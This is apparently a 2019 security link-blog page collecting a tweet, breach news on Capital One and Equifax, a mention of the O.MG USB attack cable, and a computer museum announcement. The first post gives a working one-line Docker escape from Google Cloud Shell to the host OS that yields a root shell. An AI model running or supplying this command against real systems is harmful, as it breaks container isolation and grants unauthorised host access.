Thursday, August 29, 2019

One-liner #Docker escape from #GCP's Cloud Shell to the host OS

Spencer Gietzen (@SpenGietz)
One-liner #Docker escape from #GCP's Cloud Shell to the host OS:

sudo docker -H unix:///google/host/var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash

⁦‪@RhinoSecurity‬⁩ pic.twitter.com/sXXFccQuti

Thursday, August 15, 2019

Capital One hacker took data from more than 30 companies, new court docs reveal

The government notes that Thompson has represented that she neither sold, nor otherwise shared or disseminated any of the data that she stole (from Capital One or any other victim), and that the copy of the data that the government recovered during the search of Thompson's residence is the only copy of the stolen data that she created. It is too early to confirm that this is the case. The government is continuing its investigation, which will take a significant amount of time and resources, given the immense amount of forensic evidence to review. To date, however, the government has not uncovered any evidence that would suggest Thompson's statement that she neither sold, nor otherwise disseminated, any of the data beyond the servers that the government recovered is untrue.   (emphasis added)


Saturday, August 10, 2019

O.MG Cable

Terrifying. 
USB cable based attack method. Remote access and control. 

Wednesday, August 7, 2019

Computer Museum Of America

Preserving Our Digital Roots

After 40 years of collecting technology and four years of testing temporary exhibitions, the Computer Museum of America (CMoA) will be opening the doors to its new permanent home on July 20,2019. The CMoA will preserve the achievements of the digital revolution to educate, entertain and inspire the innovator in us all.

In the months following our opening, we will roll-out carefully curated exhibits featuring selected items from our collection of over 250,000 artifacts from the digital revolution. Our opening exhibit traces the history of the Supercomputer featuring iconic artifacts like the Cray 1A, Connection Machine 2 and the Intel PSC and PSC2, unveiling how these marvels of engineering impact our everyday life and the future.


https://computermuseumofamerica.org/

5 of the biggest data breaches ever

Monday's news that a hacker had accessed the personal information of millions of Capital One credit card customers and card applicants probably didn't shock all that many people.

Data breaches sadly are becoming a common occurrence.

Even with 100 million Americans and 6 million Canadians possibly affected, this latest event doesn't even rank among the top 10 such breaches (measured by number of customer records affected.)

From:

Equifax agrees to settlement of up to $700 million over 2017 data breach - The Verge

The Equifax numbers:

In total the breach exposed 147 million people's names and dates of birth, 145.5 million social security numbers, and 209,000 payment card numbers and expiration dates.